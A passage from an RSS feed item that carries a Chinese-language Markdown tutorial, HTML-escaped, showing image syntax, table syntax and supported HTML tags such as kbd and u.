这是一个图片 &lt;img src=&quot;https://i-blog.csdnimg.cn/blog_migrate/6038998177ec70ef9134eb5684895453.png&quot; alt=&quot;bing&quot;&gt;&lt;/p&gt;
&lt;p&gt;Markdown 还没有办法指定图片的高度与宽度，如果你需要的话，你可以使用普通的 &amp;#x3C;img&gt; 标签。&lt;/p&gt;
&lt;p&gt;表格&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;|  表头   | 表头  |
|  ----  | ----  |
| 单元格  | 单元格 |
| 单元格  | 单元格 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;|  表头   | 表头  |
|  ----  | ----  |
| 单元格  | 单元格 |
| 单元格  | 单元格 |&lt;/p&gt;
&lt;h4&gt;HTML语法扩展&lt;/h4&gt;
&lt;p&gt;目前支持的 HTML 元素有：&lt;code&gt;&amp;#x3C;kbd&gt; &amp;#x3C;b&gt; &amp;#x3C;i&gt; &amp;#x3C;em&gt; &amp;#x3C;sup&gt; &amp;#x3C;sub&gt; &amp;#x3C;br&gt;&lt;/code&gt;等，自行了解&lt;code&gt;HTML&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;&amp;#x3C;u&gt;下划线&amp;#x3C;/u&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| 单元格  | 单元格 |&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
#### HTML语法扩展

目前支持的 HTML 元素有：`&amp;#x3C;kbd&gt; &amp;#x3C;b&gt; &amp;#x3C;i&gt; &amp;#x3C;em&gt; &amp;#x3C;sup&gt; &amp;#x3C;sub&gt; &amp;#x3C;br&gt;`等，自行了解`HTML`

```markdown
&amp;#x3C;u&gt;下划线&amp;#x3C;/u&gt;
&lt;/code&gt;&lt;/pre&gt;</content:encoded><h:img src="/_astro/example.LvO-NXer.png"/><enclosure url="/_astro/example.LvO-NXer.png"/></item></channel></rss>